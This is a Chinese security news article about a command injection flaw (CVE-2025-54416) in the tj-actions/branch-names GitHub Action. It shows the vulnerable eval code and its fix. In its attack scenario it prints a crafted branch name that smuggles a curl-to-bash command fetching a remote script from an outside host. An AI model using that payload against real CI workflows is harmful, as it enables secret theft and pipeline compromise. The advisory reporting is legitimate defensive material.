GitHub Action组件tj-actions/branch-names存在高危命令注入漏洞,影响超5000个代码库
主站 分类 云安全 AI安全 开发安全 2025-7-27 16:50:42 Author: www.freebuf.com(查看原文) 阅读量:17 收藏

freeBuf

主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

GitHub Actions 命令注入漏洞

漏洞概述

GitHub 热门 Action 组件 tj-actions/branch-names 曝出高危命令注入漏洞(编号 CVE-2025-54416,CVSS 评分 9.1),影响超过 5000 个公开代码库。该漏洞允许攻击者在 CI/CD 工作流中执行任意命令,危及大量自动化流程安全。

技术细节

该 Action 主要用于在持续集成/持续交付(CI/CD)过程中获取分支和标签名称,常被用于基于文件变更或上下文信息触发测试、代码检查或部署工作流。其高普及度使其成为威胁攻击者的重点目标。

漏洞根源在于代码中对 shell 命令的错误处理。开发者最初使用printf "%q"转义输入数据,但后续又通过eval printf "%s"取消转义,导致原本防范的注入风险重新出现:

echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"

攻击场景

攻击者可构造特殊命名的分支(如下所示)触发命令执行:

$(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)

当使用该分支发起拉取请求时,漏洞组件会执行嵌入的恶意载荷,使攻击者能够在 GitHub 托管的运行器上执行远程脚本,可能导致:

  • 窃取敏感仓库密钥
  • 获取未授权写入权限
  • 向发布版本或部署管道注入恶意代码
  • 破坏 CI/CD 管道完整性

安全公告特别指出:"漏洞影响严重程度取决于 GITHUB_TOKEN 的权限配置和触发事件的上下文环境",在自动触发特权工作流的场景中风险尤为突出。

修复方案

开发者已彻底移除eval调用,改用安全的直接输出方式:

printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"

建议所有使用该 Action 的用户立即升级至 v9 主要版本。

参考来源:

Critical Command Injection (CVE-2025-54416) in tj-actions/branch-names GitHub Action Exposes 5,000+ Repos

本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)


文章来源: https://www.freebuf.com/articles/441701.html
如有侵权请联系:admin#unsafe.sh